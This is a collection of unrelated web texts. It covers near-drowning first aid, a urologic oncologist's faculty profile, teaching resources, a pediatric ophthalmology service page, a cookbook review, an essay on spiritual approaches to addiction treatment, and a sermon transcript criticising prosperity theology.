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Near-drowning is when a person is in danger of drowning. Each year, almost 8,000 people die from drowning. Seventy percent of all near-drowning victims recover; 25% die, and 5% have brain damage.
A toddler can drown in as little as 2 inches of water in a bathtub, sink, etc. Toilet bowls are unsafe, too, if a small child falls into one head-first.
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Immediate medical care is needed for near-drowning.
Questions to Ask
Is the person unconscious and not breathing? Or, does the person have blue lips and ears and is the skin cold and pale?
Does the person in the water show any of these signs?
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After a near-drowning incident, does the person have a fever, a cough, or muscle pain?
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First Aid for Near-Drowning
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Trinity J. Bivalacqua, M.D., Ph.D., is the R. Christian B. Evensen Professor of Urology and Oncology and Director of Urologic Oncology at the James Buchanan Brady Urologic Institute. He was born in New Orleans, Louisiana and graduated from Tulane University with undergraduate, graduate and medical degrees. He joined the faculty after completing his General Surgery and Urology training at Johns Hopkins Hospital. He also completed an American Urological Association (AUA) Foundation Post-Doctoral Fellowship from the AUA Care Foundation.
Dr. Bivalacqua has an active clinical practice in Urologic Oncology and Sexual Dysfunction. As a member of the Sidney Kimmel Comprehensive Cancer Center at Johns Hopkins, Dr. Bivalacqua participates in multidisciplinary approaches to the treatment of a variety of genitourinary cancers. He has a special interest in cancers of the prostate and bladder with an emphasis on organ sparing therapies, minimally invasive techniques (nerve-sparing robotic assisted laparoscopic radical prostatectomy) and robotic-assisted laparoscopic radical cystectomy) and orthotopic bladder substitution (neobladder). Although he has a busy surgical practice, he maintains an active research portfolio in order to improve outcomes of cancer patients. A major focus of his research lab is development of pre-clinical models of urothelial carcinoma to test systemic and intravesical immunotherapies and nano-particular based chemotherapies. Also, he heads the tissue-engineering lab which focuses on regenerative approaches to enhance autonomic nerve function and development of tissue-engineered urinary tissue with the ultimate goal of production of a neo-urinary conduit and bladder.
Dr. Bivalacqua's basic, translational and clinical research is funded by peer-reviewed awards and he has recently been acknowledged for his accomplishments in research with several grants including a Career Development Award from the National Institute of Health (NIH), Greenberg Bladder Cancer Institute, and the AUA "Rising Star" Award. He also serves on the Scientific Advisory Board of the Bladder Cancer Advocacy Network (BCAN) and a member of the AUA Leadership Program.
- Director of Urologic Oncology
- Deputy Director, Johns Hopkins Greenberg Bladder Cancer Institute
- Associate Professor of Urology
- Associate Professor of Oncology
- Associate Professor of Surgery
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- Bladder Cancer Research Center
- Brady Urological Institute
- Johns Hopkins Greenberg Bladder Cancer Institute
- Robotic and Minimally Invasive Surgery
- Sidney Kimmel Comprehensive Cancer Center
- The Johns Hopkins Precision Medicine Center of Excellence for Prostate Cancer
- MD PhD, Tulane University School of Medicine (2004)
- Johns Hopkins University School of Medicine / Urology (2009)
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- American Board of Urology / Urology (2012)
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Research Summary
Dr. Bivalacqua maintains an active research portfolio in order to improve the care of cancer patients. A major focus of his research lab is to develop novel molecular-based targeted therapies for bladder cancer and preservation of erectile function in prostate cancer patients undergoing radical prostatectomy using novel agents.
Dr. Bivalacqua's basic, translational and clinical research is funded by peer-reviewed awards and he has recently been acknowledged for his accomplishments in research with several grants including a Career Development Award from the National Institute of Health (NIH), the Patrick C. Walsh Prostate Cancer Research Fund, and the American Urological Association (AUA) "Rising Star" Award. He also received The Gold Cystoscope Award Gold from the AUA in recognition of his innovative translational research and significant contributions to the fields of sexual dysfunction and urologic oncology. He serves as principal investigator for clinical trials in both prostate and bladder cancer including the only tissue engineered bladder cancer clinical trial in this country.
Clinical Trials
Intravesical Administration of INSTILADRIN (rAd-IFN With Syn3) in Patients With Bladder Cancer
Selected PublicationsView all on Pubmed
Sundi D, Wang V, Pierorazio PM, Han M, Partin AW, Tran PT, Ross AE, Bivalacqua TJ. "Identification of men with the highest risk of early disease recurrence after radical prostatectomy." Prostate. 2014 Jan 22. doi: 10.1002/pros.22780.
Musicki B, Bivalacqua TJ, Champion HC, Burnett AL. "Sildenafil promotes eNOS activation and inhibits NADPH oxidase in the transgenic sickle cell mouse penis." J Sex Med. 2014 Feb;11(2):424-30. doi: 10.1111/jsm.12391.
Kates M, Gorin MA, Deibert CM, Pierorazio PM, Schoenberg MP, McKiernan JM, Bivalacqua TJ. "In-hospital death and hospital-acquired complications among patients undergoing partial cystectomy for bladder cancer in the United States." Urol Oncol. 2014 Jan;32(1):53.e9-53.e14. doi: 10.1016/j.urolonc.2013.08.024.
Sundi D, Wang VM, Pierorazio PM, Han M, Bivalacqua TJ, Ball MW, Antonarakis ES, Partin AW, Schaeffer EM, Ross AE. "Very-high-risk localized prostate cancer: definition and outcomes." Prostate Cancer Prostatic Dis. 2013 Nov 5. doi: 10.1038/pcan.2013.46.
Chalfin HJ, Gurda GT, Hammers HJ, Netto GJ, Bivalacqua TJ. "Renal cell carcinoma presenting with brain metastasis from a 1.6 cm primary tumor." Can J Urol. 2013 Oct;20(5):6965-7.
Activities & Honors
- 2nd Prize Resident Essay Contest: Laboratory Science, America Urological Association, 2008
- Best Poster, American Urological Association (AUA) Annual Meeting, 2011
- Alpha Omega Alpha, Johns Hopkins University, 2007
- Outstanding Surgical Intern, Johns Hopkins University, 2004
- 1st Prize Resident Essay Contest: Laboratory Science, Mid-Atlantic Section AUA, 2007
- Arnold M Seligman Award for Most Outstanding Surgical Resident, Sinai Hospital of Baltimore, 2004
- John T. Halsey Award, Tulane School of Medicine, 2004
- Joseph Hume Memorial Award, Tulane School of Medicine, 2004
- Jorgen U. Schlegel Award for Excellence in Research, Tulane School of Medicine, 2001
- Foundation Rising Star in Urology Research Award, American Urological Association (AUA), 2012
- Young Investigator Award, Society of Basic Urologic Research (SBUR), 2010
- Jack Lapides Neurourology Essay Contest Grand Prize Winner, 2008
- Cook Urology Travel Award, American Society of Andrology, 2008
- Trainee Award, American Society of Andrology, 2008
- Outstanding Graduate, AUA Foundation, 2008
- Young Investigator Award, AUA Research Forum, 2008
- Astellas USA Foundation MD/PhD Fellowship, American Urological Association Foundation, 2007 - 2008
- Best Basic Science Abstract, Sexual Medicine Society of North America, Inc., 2007
- Zorgniotti-Newman Prize (Co-author): Best Clinical Research in Sexual Medicine, 2006
- Best Basic Science Abstract, Sexual Medicine Society of North America, Inc., 2005
- Student Recognition Award, American Federation for Medical Research, 2004
- Yamanouchi Best Abstract Prize: Impotence, AUA, 2004
- Best Basic Science Abstract: Sexual Medicine Society of North America, 2003
- Jean François Ginestíe Prize: Best Paper on Basic Science of Sexual Medicine, 2002
- 3rd Prize Montague Boyd Essay Contest, Southeastern Section AUA, 2001
- Basic Research Award in Integrated Biology, Tulane Health Research Day, 2001
- 1st Prize Essay Contest, Society for the Study of Impotence, 2000
- Thomas S.K. Change Trainee Award, American Society of Andrology, 1999
- Gold Cystoscope Award, The American Urological Association
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- American Society of Andrology
- American Urologic Association (AUA)
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- International Society of Sexual Medicine
- Sexual Medicine Society of North America, Inc.
- Society for Basic Urologic Research (SBUR)
- Society of Urologic Oncology (SUO)
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Bladder Cancer | John's Story
The Future of Bladder Cancer | Johns Hopkins Greenberg Bladder Cancer Institute
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At the University of Washington Bothell, our continuing goal is to ensure that every UW Bothell student consistently experiences inspired, knowledgeable, and skilled teaching. For faculty fairly new to teaching in higher education, this page offers a wide range of useful resources. Experienced faculty will also find much here to help them refine their teaching skills, expand their use of technology and share ideas with colleagues.
Academic Services is the UW Bothell administrative department. It houses several campus resources that work closely with faculty to support genuine learning for all students.
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Davis, B. G. (1994). Tools for Teaching. San Francisco: Jossey-Bass.
Tools for Teaching is a rich compendium of classroom-tested strategies and suggestions designed to improve the teaching practice of beginning, mid-career and senior faculty.
Lowman, J. (1995). Mastering the Techniques of Teaching (2nd ed.). San Francisco: Jossey-Bass.
Joseph Lowman is a professor of psychology at the University of North Carolina. His book presents solid practical guidance for both the new and experienced university teacher, based on illuminating analyses of student behaviors and responses.
McKeachie, W. J. (1994). Teaching Tips. Lexington, MA: D.C. Heath and Company.
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Prichard, K. W., & Sawyer, R.M. (eds.) (1994). Handbook of College Teaching. Westport, CT: Greenwood Press.
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text: Pediatric Ophthalmology and Strabismus The Pediatric Ophthalmology and Strabismus Service is a collaboration of the Children's Hospital Ophthalmology Foundation (CHOF) and Mass. Eye and Ear. CHOF at Mass. Eye and Ear is one of the most comprehensive pediatric ophthalmology networks in the country. Our physicians provide evaluation, diagnosis and treatment for the full range of eye conditions that affect children, and for eye misalignment problems in children and adults. Pediatric eye care comprises a wide range of evaluations and treatments for our young patients, from screening for normal vision to caring for the most complicated eye conditions. Children should have routine vision and eye examinations at their regular primary care appointments with their pediatricians. If there is cause for concern or further evaluation, a pediatric ophthalmologist is best qualified to provide the necessary care. Once in treatment, it is best to make sure your child is consistent with recommended follow-up appointments, to allow the physician to monitor conditions closely and accurately. Listen in! Listen to Dr. Kazlas talk about pediatric eye care. Transcript (PDF) If you think any symptoms seem urgent, it is best to take your child to the Mass. Eye and Ear Emergency Department immediately. Being proactive will only help your child's condition. Some of the conditions that we care for among our patients include: Retinopathy of Prematurity: In conjunction with the Retina Service, we screen newborns at the Massachusetts General Hospital for this potentially blinding disease. Retinopathy of Prematurity affects Poor Red Reflex: If a parent or primary care provider notices a white reflex coming from the eye(s) or the usual red reflex from the eyes appears abnormal, urgent consultation with a pediatric ophthalmologist is necessary. A condition called retinoblastoma, the most common intraocular tumor of childhood, could be responsible. Other serious, vision threatening causes, include congenital cataract and coloboma of the eyes. Metabolic/Genetic Syndromes: Often, a pediatric ophthalmologist is asked by a primary care provider to evaluate the eyes of a patient with multiple congenital disorders. An example of this might be neurofibromatosis, or a genetic syndrome like Downs syndrome. We can help make the diagnosis by following the eye conditions that are associated with certain systemic conditions. Childhood Strabismus: Strabismus is the medical term for eye misalignment, also known as crossed eyes or wandering eyes. Strabismus can develop at any time during childhood, but most commonly develops between birth and age 5. Untreated, strabismus can harm depth perception. If one eye becomes dominant, amblyopia, or poor vision, can also occur. Amblyopia: Poor vision in one or both eyes that develops during childhood in an otherwise normal eye is called amblyopia. The most common causes of amblyopia, or poor vision from disuse of the eye, are strabismus and anisometropia, a difference in the power between the two eyes. Strabismus can often be easily identified by a parent or primary care provider. However, anisometropia is more difficult to identify. Vision screening at school or at a primary care doctor's office can help detect poor vision in one eye. If you are uncertain about the accuracy of the vision screen or if there is a family history of amblyopia or strabismus, have your child evaluated between the ages of 3 and 5 by a pediatric ophthalmologist. Adult Strabismus: Patients are surprised to hear that we see adults, too. We see adults who have a persistent misalignment from a previous childhood strabismus, as well as adults who develop double vision. We often can treat the double vision with prisms or surgery. Patients who have Graves disease may develop tight eye muscles leading to misalignment and double vision; we treat these patients in conjunction with our ophthalmic plastic surgery colleagues. Our physician staff consists of eye care specialists certified by the American Board of Ophthalmology or who are board-eligible and preparing for certification. Find out more information about our Pediatric Ophthalmology doctors. Find out more information about our Strabismus doctors. Make An Appointment Today! 617-573-3202


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'Kulafumbi' is our family home in Kenya, East Africa. 'Kulafumbi' is a play on the Kiswahili words "kula vumbi", which mean "eat dust", because it was so hot and dusty building our house in this remote, wild, wonderful place. Kulafumbi borders the Tsavo National Park - with no fences between us and the Park, the wildlife comes and goes of its own free will and treats our land as its own, which is exactly how we like it. In turn, we provide a protected area for the wild animals to do as they please. This protected area also creates an important buffer for the river, which forms the boundary between us and the park.
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I am apparently addicted to cookbooks, and Once Upon a Tart is one of the latest additions to my collection. This charming book sat sadly neglected on my overflowing shelf until I decided I wanted some inspiration for yet another scone recipe. I highly recommend this book, that includes lots of ideas for quick breads, sweet and savory tarts, condiments, unique sandwiches and also some fabulous soup and salad recipes. Informative, inspirational and enjoyable. If I ever make it to New York, I will be enlisting Frank and Jerome's services!
I've made these biscuits twice now, and I highly recommend you use fresh dill, extra old Cheddar cheese, fresh grated Parmesan cheese, and a good dose of cayenne pepper for optimal flavor. If you don't have a food processor, cut the butter into the dry ingredients with a pastry cutter or with a knife and fork.
|Cheddar Parmesan Scones with Dill
|Recipe by Lisa Turner
Adapted from Once Upon a Tart: Soups, Salads, Muffins and More
Published on February 15, 2010
Light and fluffy dinner biscuits with a surprising amount of flavor
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I am proposing we embrace a new model. Symptom abatement cannot be the only goal of treatment. Increasing awareness and consciousness are the goals. With symptom abatement one can only hope to be in recovery. With the psychospiritual model of treatment, one can be recovered. As practitioners, providers of addiction services and healers, we will focus on those that are labeled addicts and walk through that referral door.
But our goal will ultimately be to improve the total health and consciousness of that individual. That is our contract with the client. Since addiction affects the body, mind, emotions and soul, these are legitimate domains for us. The addict needs cellular reconstruction work, physical fitness work, emotional healing and reintegration and balancing of all of his systems and finally reintegration back into his family and the community. We need more comprehensive holistic training. We need to change the parameters of scope of practice and/or we need to make it okay to use these practitioners in the treatment and healing process of our clients.
My goal is to share some of the perspectives, techniques and approaches that I have used and experience over 26 years. Addictions can be managed and used as a ground for the transformation and awakening of the individual's character and potential. Traditional approaches that focus only on symptoms may provide some relief but fail to nurture the spirit or feed the soul. There is a better way, a natural way based on clearing the stress and toxification from the physical body and strengthening the constructive emotions that give hope and courage to change. This process promotes the awakening of consciousness to relate to the inner soul for clarity.
There is a way to provide for self healing and ultimately for self mastery with application of tools that I have learned. It is possible to move away from the core thought in the addictions field-once an addict always an addict. One's core identity can shift from addict-slave, to a self realized human being-master. That is the resurrection process.
If I hold a television in one hand and the cord in the other hand and start shouting at the T.V. for not working, how does that look to you? You would say, "Stupid". What would you tell me to do? Plug it in. I say the same to you. Plug into your source and you will get the picture. All stations are playing at the same time. You have just dialed into a certain frequency and you are getting the picture broadcasting at that frequency. Tune into another frequency and you will get a different picture or reality. Herbert Benson, M.D. is the Director of the Mind/Body Institute at Harvard. One of his chapters in his recent book, Timeless Healing the Power and Biology of Belief, was titled, "Wired for God". This is a radical statement coming from Harvard. I believe it is true and I believe that we can go direct to the manufacturer-The Source. It is not a question of His Presence. It is a question of access. You dial the right number and you will get an answer. Meditation and yoga have thousands of years of history in achieving and maintaining this connection.
The resurrection process is when you as a human being, a child of God can reconnect with your higher power-your Source and have the experience of that reconnection and hold it so that it is not a once in a lifetime event but a common occurrence. You have, in essence raised your frequency, energy, consciousness, whatever you want to call it, to the point where you are operating on all eight cylinders instead of 4 or 6. The purpose of treatment for the chemically dependent is to give each person the experiences and tools for their own transformation and resurrection.
Background of the Author
I graduated from the University of Michigan School of Social Work in 1969. Before I entered graduate school, I had to decide whether to major in the traditional clinical casework or community organization/administration track. I chose the later. This was the time of teach-ins and mass protest. I believed that I could do more if I got involved in changing systems than focusing on the individual or victims of the system. I knew that there were a lot of great clinicians but there were very few conscious administrators. I wanted to be a conscious administrator and hire great clinicians. I would be their support for both good clinical work as well as changing the systems that had negative impact on so many people.
It is my own personal story of self transformation that I believe is the foundation for doing the work I do. What I have to offer comes from my experiences working with the severely handicapped, mentally ill and chemically dependent for over 30 years. I have worked at the Battle Creek Institution for the Retarded, County Mental Health and Retardation Boards, 3HO SuperHealth-the only holistic residential treatment center to ever be accredited by the Joint Commission on Health Care Organizations and at a State Forensic hospital. Most recently I was the Mental Health Services Bureau Chief for the New Mexico Department of Corrections. In this position, I was in charge of the mental health delivery system in all of the prisons. Currently, I have designed a substance abuse program for inmates in a maximum security housing unit for the State Prison in Santa Fe.
I have had extensive experience as an administrator, clinician, program planner and developer, grant writer, educator and yoga teacher. I have worked in the medical model, prison custody model and in holistic treatment model. Effectiveness comes down to consciousness and awareness. Ultimately, the bottom line is not having one technique or even a collection of techniques to use that accelerates profound change. It is who I am as a person. How deeply my character can penetrate the defenses and hypnotic shells that defend the real emotions and power in each person. How well can I be present in each moment and each encounter to open possibility and hope, and to show the gap between consciousness and the actions of the addict?
Life Changing Story
In 1986, I was hired as a clinical social worker on a psychiatric unit at Patton State Hospital. The very first patient I was assigned to was Nancy. She killed her two children by drowning them in the bath tub because she was trying to save them from the Devil. She hardly spoke to anyone on the unit. I had never worked with anyone like that before. I did not have a clue how to approach her let alone work with her. I felt incompetent and impotent. What could I possibly say or do that would help her? So I went directly to the Source. I said okay God; there must be a place in me that has the same pain as she feels. Help me find it. I believe that we are all One and that the Universe is holographic. One point contains everything.
I was seeing a body worker at that time and I asked God to find the point in my body that stores that kind of pain. She was working on my right shoulder blade and she hit the point. I asked God what was that and how old was I when I felt that. The answer came back that I was five and my posture was I had my arms raised up to protect myself from getting hit from my father and my plea was daddy, daddy don't hit me I am okay. As soon as I raised my arms to that position, the tears came rolling down my face and I had a taste of what she must feel all of the time.
I went back to the Mental Hospital the next day and to see Nancy. I shared with her that I did not know what to say to her and that I asked God for help. I told her what happened the day before and I shared my pain with her. She was startled and said that is actually how she felt. I said to her that she gave me a great gift. She roared back and said I do not give gifts, I killed my children. I said that I was a better person after meeting her than I was before and that was the gift to me. This was the beginning of the therapeutic alliance.
This was a turning point for me both professionally and personally. There was nothing objective about what I did. What is in me is in others and what is in others is in me by the very fact that we are human beings. And in being human beings, we can access each other through the heart and soul-No Man is an Island unto himself. If I would have only objectified her and made judgments even good clinical judgments, I knew that I could not be of service to her. I would have all of the information that would constitute a professional psychosocial history but I would not have been able to reach her so deeply so quickly.
When one combines intuitive/subjective assessments with objective fact based assessment, one can create a depth of treatment alliance that is unreachable by objectivity alone. Opening up and allowing for a spiritual connection made it possible for me to be a conduit of connectivity to a higher source for both me and the patient. (This, by the way, produces a secondary benefit of minimizing burn out). When I would create a sacred space by intention, burn out was a foreign concept. Preparing for and allowing for guidance from a higher source is the hallmark of a psychospiritual approach. Sooner or later one comes to understand that you are not the one doing but that you are being guided.
At the time I was in graduate school, no one talked about how to reach the patient or client this way. It was all about the mind and how it functioned or didn't function. Carl Jung was one of the few psychoanalyst that dealt with metaphysics, spirituality etc. But the Social Work School did not teach students in his theories or practices. We have objective science that deals with what can be seen, felt, tasted, and heard but nothing about love, joy, compassion, kindness, truth-the things that provide meaning in ones life.
Do We Have a Problem?
It is estimated that 20% of Americans use about 50% of all illegal drugs in the world. This accounts for somewhere between 60 and 80 percent of all crimes committed in the U.S. (1) Almost 80% of inmates in State prisons are there because of substance abuse and dependence. Approximately 65 to 70 percent of inmates that go on parole are sent back to prison within three years. (Bureau of Justice Statistics, Special Report: Recidivism of Prisoners Released in 1994., June 2202, NCJ. CDC. The major reason they are sent back is that they return to their use of drugs and alcohol.
The Corrections budget in New Mexico where I work is $224 Million a year. The average yearly cost to house an inmate is $30,000 a year. The average length of time an inmate spends in prison once they are returned is 3 years. Each inmate returning then costs the tax payers approximately $90,000 excluding court costs. The Corrections budget for California is close to 4 billion dollars which equals the total New Mexico State Budget! California now has close to 200,000 in their state prisons. Six hundred thousand inmates are released from state and federal prisons and juvenile facilities to their communities every year. (CDC, IDU, KIV Prevention, August, 2001, Page 1). By 2010 it is estimated that close to 2 million men and women will be released nation wide.


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John MacArthur routinely preaches a sermon more than once on the same date, during different worship services at Grace Community Church. Normally, for a given sermon title, our website features the audio and video that were recorded during the same worship service. Very occasionally, though, we will post the audio from one service and the video from another. Such was the case for the sermon titled "Losing Your Life to Save it," the transcript of which follows below. The transcript is of the audio version.
I want to read a text of Scripture in the seventeenth chapter of Acts, so open your Bible, if you will, to Acts again, chapter 17. In verse 16, the Apostle Paul has arrived on his second missionary journey in the great city of Athens. That's where we'll pick up the account...Acts 17 and verse 16.
"Now while Paul was waiting for them...that is Silas and Timothy who were going to join him there...while he was waiting for them at Athens, his spirit was being provoked within him as he was observing the city full of idols. So he was reasoning in the synagogue with the Jews and the God-fearing Gentiles and in the marketplace every day with those who happened to be present and also, some of the Epicurean and Stoic philosophers were conversing with him. Some were saying, 'What would this idle babbler wish to say?' Others, 'He seems to be a proclaimer of strange deities,' because he was preaching Jesus and the resurrection. And they took him and brought him to the Areopagus, saying, 'May we know what this new teaching is which you're proclaiming? For you are bringing some strange things to our ears; so we want to know what these things mean.' (Now all the Athenians and the strangers visiting there used to spend their time in nothing other than telling or hearing something new.)
"So Paul stood in the midst of the Areopagus and said, 'Men of Athens, I observe that you are very religious in all respects. For while I was passing through and examining the objects of your worship, I also found an altar with this inscription, "TO AN UNKNOWN GOD." Therefore what you worship in ignorance, this I proclaim to you. The God who made the world and all things in it since He is Lord of heaven and earth does not dwell in temples made with hands, nor is He served by human hands as though He needed anything since He Himself gives to all people life and breath and all things. And He made from one, every nation of mankind to live on all the face of the earth, having determined their appointed times in the boundaries of their habitation, and they would seek God if perhaps they might grope for Him and find Him though He is not far from each one of us, for in Him we move and exist as even some of your own poets have said, for we also are His children. Being then the children of God, we ought not to think that the Divine Nature is like gold or silver or stone, an image formed by the art and thought of man. Therefore having overlooked the times of ignorance, God is now declaring to all men that all people everywhere should repent because He has fixed a day in which He will judge the world in righteousness through a man whom He has appointed, having furnished proof to all men by raising Him from the dead.'
"Now when they heard of the resurrection of the dead, some began to sneer, but others said, 'We shall hear you again concerning this.' So Paul went out of their midst. But some men joined him and believed, among whom also were Dionysius, the Areopagite, and a woman named Damaris and others with them."
Paul in the city of Athens confronts the reality of the unknown God...the unknown God. He says, "You worship but you worship in ignorance. With all the gods that you have here, you have nothing but idols, you have nothing but false gods. The one true God is unknown to you. All your worship then is misdirected, all your worship is an expression of ignorance, all your worship is then pointless and purposeless and accomplishes absolutely nothing spiritually because you don't know the true God." They are in the dark about the true God.
As I was thinking about this passage, it struck me that we live in a nation that could equally be defined in this way...full of notions about God but the true God is unknown. We have popular theologies in America, in the western world. We have popular gods who are sadly to say quite different from the true God. Though people in our nation talk about God and though as a nation we affirm the existence of God, we're supposed to trust in Him, we place ourselves under Him in the flag salute and on our coins, we affirm His existence. But He is largely unknown to us. We worship an unknown God.
In fact, like the Greeks, we have placed an idol in the place of the true God and we ignorantly worship him. I suppose the question can be asked, "Has God created man and revealed Himself, or has man created God and revealed himself?" I think the latter would be pretty much true of the popular God of our country and even of the so-called church. God has become a kind of projection of our own minds, of our own will, of our own tolerances. We have designed a God that is comfortable for us. We have violated Psalm 50:21 which says, "You thought that I was all together like you?" Well indeed that's the case.
There are all kinds of misconceptions about God. There is the misconception that God is not to be honored in everything. Oh He is to be honored in some things, but not in everything. He has no place in the public square. He shouldn't be prayed to in the schools. His Word should not be read in any public place. His name should be removed from any government facility. We shouldn't have any kind of national acknowledgment of God such as a day of prayer or a prayer meeting or any other event led by a Christian who affirms the God of Scripture, because that's a violation of separation that is germane to what it means to be an American. But on the other hand, we believe in a God, we just believe in a God who is to be honored only slightly and only occasionally and only when kept within certain limits. This God is not a God who is deserving of supreme honor. This is not a God who is deserving of all honor. This God lacks what is necessary for such honor.
He also lacks power. We're comfortable with a God who doesn't wield absolute power. We want a God who has some limited power and that's the God that is popular today, not only in our nation but in the church. He has good ideas and we're glad for that. He has noble intentions but He struggles to wee them realized. There are things He would like to do but He can't quite pull them off. And Satan, oh my, Satan prevents the accomplishment of so much that God wants to do. God wants to bring goodness into the world and happiness and joy in everything to be the way everybody would like it to be, but Satan thwarts all these divine purposes of God and brings trouble and war and conflict and disaster and crime and destruction. Satan is busily thwarting the desires of God, and so are people. Poor God, He just doesn't have the power to really pull off what He would like.
And the popular God is also lacking in knowledge. He has definite desires for His Kingdom. He has definite purposes that He would like to accomplish. But He's really limited in the ability to accomplish them because He is subject to the same problem that we have, and it is this, He doesn't know what's going to happen. This is the new view of God called "The Openness of God," that God does not know the future. That's how you eliminate Him being responsible for it by saying He doesn't know what it's going to be. God doesn't know anything that hasn't happened because it hasn't happened, it can't be known and God is just like we are, He doesn't know what's going to happen until it actually happens. And that makes it really hard to plan.
So God has all these great intentions, all these great objectives, all these great purposes but is severely limited because He can't know the future, doesn't have knowledge of events that haven't come to pass yet and so He can only coordinate these things after they happen. It's kind of a mop-up operation. He has no more control of the future than you do, or I do and He's always reacting just the way we react. The future is not known to Him and therefore the future is not planned by Him. In fact, the future is known to nobody and it is only planned as it unfolds by the millions of contingent actions of the multiple millions of people who act. So God is not the one worthy of supreme honor. He is not the one who is supremely and absolutely powerful. He is not the one who has all knowledge of all things past, all things present, and all things future and how they all fit together. We can't let Him be that kind of God because then He would be responsible for what happens.
He's also lacking in wisdom for what we hear is he loves everybody unconditionally, wants everybody to be saved, but couldn't figure out a plan to make that happen. He wants everybody even to be healed. And, frankly, if he wanted everybody to be healed, it wasn't very wise to make that healing dependent upon the faith of the people. If he really wanted everybody to be healed, why didn't he just heal everybody? Seems like an unwise plan, if that's what you really want.
He also wants everybody to be wealthy. He wants everybody to be healthy and he wants everybody to be successful and prosperous, but he really devised a rather inept plan to get that done because he made that dependent upon us. It's a poor plan which reflects a lack of wisdom.
And the popular god lacks in holiness. He really does not believe that the wages of sin is eternal death and punishment in everlasting hell. He loves everybody unconditionally. He treats everybody with unconditional pity. And he would never send good people to hell. So his sense of justice is limited. The sense of righteousness is limited and therefore his holiness is limited.
He's also lacking in authority. He's not really sovereign over all people, all creation, and all events and all experiences. He would like to be, and guess what? He claims to be in the Bible but it's really just an empty boast. Yeah, when he says he's in control of everything, all his purposes will stand and nobody can thwart them, that's just an empty boast on his part. He really is not in control. Whatever authority he does have, whatever prerogatives he does exercise, whatever choices he does make, whatever rights he does possess are in the end subordinated to the authority and the rights and the choices and the prerogatives of people. And, by the way, if he does have anything good to offer to his creatures, he must offer it equally to all, that's only fair. And to be really fair, he has to offer it equally to everybody and the final decision has to be up to each individual...that's fair.
So man exercises the final authority. God has less freedom than man because God can't choose. He can only offer..man chooses.
Is that the God of the Bible who is perfect in power, perfect in glory, perfect in knowledge, perfect in wisdom, perfect in holiness, exercising perfect authority?
No, the God that I've described to you is an idol. The God that I described to you is a false god. The god that I described to you is an object of blasphemy, exists not only in the thinking of people outside the church, but in the thinking of people inside the so-called church who have made an idol, they have created a God who doesn't exist.
I can illustrate this many ways, but one that is on my mind and intending to dominate my thoughts is this idea that the God that we're comfortable with is not really unique. He lacks uniqueness. He's really not that different than we are. In fact, the truth of the matter is he's pretty much shared his own nature with us. We're all...we're all sort of little gods. We all have a piece of the Divine Nature.
Now you've heard that. That's pantheism, right? That God is in everything and in everyone. That has found its way into quote/unquote evangelical Christianity. I'll show you how.
Some couple of years ago there was a book written by Rhonda Byrne called "The Secret." Please don't raise your hand if you read it. "The Secret," I'll let you off the hook, "The Secret." It sold in the millions. At one point it was selling at 150 thousand copies a week. It is a pagan book based on a pantheistic view of the universe, that all things are one with God, all things are God, we are God, everything is God. In fact, in the book it says we are light, we are the "I am," we are truth, we are God. God is in us. We possess part of God in us, divine power. This sounds like Deepak Chopra, whom I engaged a few times on the Larry King Program, who believed he was God, he was part of God. I was trying to convince him that even though he hated everything I stood for, if that was true, then I was a part of God also. He wouldn't buy that.
Somehow I didn't fit into his pantheism, I'm not sure how that works, but at least one person was left out of the pantheistic perspective.
But in the light of Isaiah 42:8 which says, "I am the Lord, that is My name. I am the Lord, that is My name. I will not give my glory to another." God does not share His person with anyone. We are human. We are not divine. We do not possess divine attributes. Even when God takes up residence in our hearts as believers, it is the living God within us, it is not us. We have no divine power. We do not share by being human beings in the divine nature.
Well that's what "The Secret" said, if you can get in touch with the divine power within you, you can create your world. You have creative power. Now the Bible says that everything that was made was made by God and without Him was not anything made that was made. That He is the one who creates everything, sustains everything, controls everything, consummates everything, and that power belongs only to Him. But pagan pantheism says, "We all share that power." God is not really unique. It is a book that essentially says "You have divine power within you. You're part of the divine energy." In other words, you can create your life the way you want your life to be. You can create your world the way you want your world to be.
In the book there is something called "the law of attraction...the law of attraction." You attract a certain kind of reality to yourself. Your thoughts and your words attract this reality, literally create this reality. The sequence goes like this, "Know what you want. Two, believe you will get it. Three, visualize the fulfillment of it, and four, speak it out loud and you will bring it into existence. You want money, then know you want it, believe you will get it, visualize the getting of it...in other words, go through the emotions you would feel if you had it...and then speak it and it will happen." The book says, "It works every time with every person, just place your order and it's yours. You have enough divine power, you have enough of God in you to create your world. Your life is the reality that you create by attracting it. Your thoughts and words then have this divine creative power. What you think, what you believe, what you visualize and what you speak becomes the reality that you live. And if you like the way your life is, then keep speaking the same thing, thinking the same thing, visualizing the same thing, believing the same thing. But if you don't like the way your life is, change what you want, believe you'll get it, visualize the receiving of it and speak it out loud. You will cause the universe literally to rearrange itself to make it happen for you by the law of attraction. Start feeling what you will feel when your reality arrives and speak it. You have the power," quote, "You have the energy of the universe to create your world, you are the designer of your destiny."
Wow. The outcome is what you choose. The roots of this nonsense are in bizarre people like an 1860 writer by the name of Phineas Quimby. It's been passed down. It's a form of deception, illusion and kind of pantheistic sharing of the divine nature which is a pagan concept.
So faith is a powerful personal force that enables you to express supernatural energy that overcomes all restriction and creates the world that you want. The first thing is to decide what you want. And by the way, I've checked out the list and I didn't find these things on the want list...humility, brokenness, repentance, holiness, purity of heart, worship, sacrifice, unselfishness, sacrificial love, not so much.
What's on the list? Health, wealth, prosperity, success, all temporal material things, none of that which we heard Jubilant singing about.
Now if all of that sounds familiar to you...you say, "I didn't read 'The Secret' but that sounds so familiar." You have been watching TBN, that's what you've been doing. You have been exposed to this lie, this deception, this pagan pantheistic perspective that has been turned into a spiritual Ponzi scheme, making the people at the top of the food chain rich, preying on the desires, the material worldly desires of the people who want all this stuff. It comes under the name, "The Word/Faith Movement," "Prosperity Gospel," "Name it and claim it." It's being advocated by people like Benny Hinn, Marilyn Hickey, Fredrick Price, Joyce Meyer, Kenneth Copeland, Kenneth Hagin, Robert Tilton, a man named Koontz, Oral Roberts, Paul Crouch, on and on and on. That's what they say. They all claim the same thing. As a Christian you have the personal power to recreate life's reality into exactly what you want it to be. And they do it in the name of Jesus. All this in the name of Jesus. It is a lie, it is a blasphemous lie, it is a lie that preys on the weak and the desperate and preys on the people who have nothing but fallen, corrupt, unregenerate, normal human desires.
Oh it works. It makes the predators rich because everybody sends them the money, that's how you trigger it, that's how you prove your faith. And everybody else is disappointed.
